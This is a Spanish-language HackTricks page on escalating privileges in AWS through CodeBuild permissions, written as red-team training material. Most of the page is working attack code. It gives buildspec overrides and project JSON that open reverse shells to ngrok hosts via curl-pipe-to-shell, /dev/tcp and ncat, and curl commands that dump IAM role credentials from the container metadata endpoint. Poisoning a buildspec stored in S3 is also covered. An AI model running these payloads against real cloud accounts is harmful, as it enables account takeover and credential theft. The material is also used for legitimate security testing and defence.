AWS - Codebuild Privesc

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

codebuild

Más información en:

AWS - Codebuild Enum

codebuild:StartBuild | codebuild:StartBuildBatch

Con solo uno de estos permisos es suficiente para desencadenar un build con un nuevo buildspec y robar el token del iam role asignado al proyecto:

cat > /tmp/buildspec.yml <<EOF
version: 0.2

phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
EOF

aws codebuild start-build --project <project-name> --buildspec-override file:///tmp/buildspec.yml

Nota: La diferencia entre estos dos comandos es que:

  • StartBuild inicia un único trabajo de build usando un buildspec.yml específico.
  • StartBuildBatch permite iniciar un lote de builds, con configuraciones más complejas (como ejecutar múltiples builds en paralelo).

Impacto potencial: privesc directo a los roles de AWS Codebuild adjuntos.

iam:PassRole, codebuild:CreateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

Un atacante con los permisos iam:PassRole, codebuild:CreateProject, y codebuild:StartBuild o codebuild:StartBuildBatch podría escalar privilegios a cualquier rol IAM de codebuild creando uno en ejecución.

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

JSON="{
\"name\": \"codebuild-demo-project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"


REV_PATH="/tmp/rev.json"

printf "$JSON" > $REV_PATH

# Create project
aws codebuild create-project --name codebuild-demo-project --cli-input-json file://$REV_PATH

# Build it
aws codebuild start-build --project-name codebuild-demo-project

# Wait 3-4 mins until it's executed
# Then you can access the logs in the console to find the AWS role token in the output

# Delete the project
aws codebuild delete-project --name codebuild-demo-project

Impacto potencial: Direct privesc a cualquier rol de AWS Codebuild.

Warning

En un Codebuild container el archivo /codebuild/output/tmp/env.sh contiene todas las env vars necesarias para acceder a las metadata credentials.

Este archivo contiene la env variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI que contiene la URL path para acceder a las credenciales. Será algo como /v2/credentials/2817702c-efcf-4485-9730-8e54303ec420

Añádelo a la URL http://169.254.170.2/ y podrás dump the role credentials.

Además, también contiene la env variable ECS_CONTAINER_METADATA_URI que contiene la URL completa para obtener metadata info about the container.

iam:PassRole, codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

Al igual que en la sección anterior, si en vez de crear un build project puedes modificarlo, puedes indicar el IAM Role y robar el token

REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"

printf "$JSON" > $REV_PATH

aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project

Impacto potencial: Direct privesc to any AWS Codebuild role.

codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

Como en la sección anterior pero sin el permiso iam:PassRole, puedes abusar de estos permisos para modificar proyectos existentes de Codebuild y acceder al role que ya tienen asignado.

REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"

JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"

# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!

printf "$JSON" > $REV_PATH

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project

Impacto potencial: privesc directo a los roles adjuntos de AWS Codebuild.

SSM

Teniendo suficientes permisos para iniciar una sesión ssm es posible entrar dentro de un proyecto Codebuild que se está construyendo.

The codebuild project will need to have a breakpoint:

phases:
pre_build:
commands:
- echo Entered the pre_build phase...
- echo "Hello World" > /tmp/hello-world
      - codebuild-breakpoint

Y luego:

aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>

Para más información check the docs.

(codebuild:StartBuild | codebuild:StartBuildBatch), s3:GetObject, s3:PutObject

Un attacker capaz de iniciar/reiniciar un build de un proyecto específico de CodeBuild que almacena su archivo buildspec.yml en un bucket S3 al que el attacker tiene write access, puede obtener command execution en el proceso de CodeBuild.

Nota: la escalation solo es relevante si el CodeBuild worker tiene un role diferente, preferiblemente más privilegiado, que el del attacker.

aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./

vim ./buildspec.yml

# Add the following lines in the "phases > pre_builds > commands" section
#
#    - apt-get install nmap -y
#    - ncat <IP> <PORT> -e /bin/sh

aws s3 cp ./buildspec.yml s3://<build-configuration-files-bucket>/buildspec.yml

aws codebuild start-build --project-name <project-name>

# Wait for the reverse shell :)

Puedes usar algo como este buildspec para obtener una reverse shell:

version: 0.2

phases:
build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1

Impacto: Direct privesc al rol usado por el worker de AWS CodeBuild que suele tener altos privilegios.

Warning

Tenga en cuenta que el buildspec podría esperarse en formato zip, por lo que un atacante necesitaría descargar, descomprimir, modificar el buildspec.yml desde el directorio raíz, volver a comprimir y subirlo

Más detalles se pueden encontrar here.

Impacto potencial: Direct privesc a los roles adjuntos de AWS Codebuild.

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks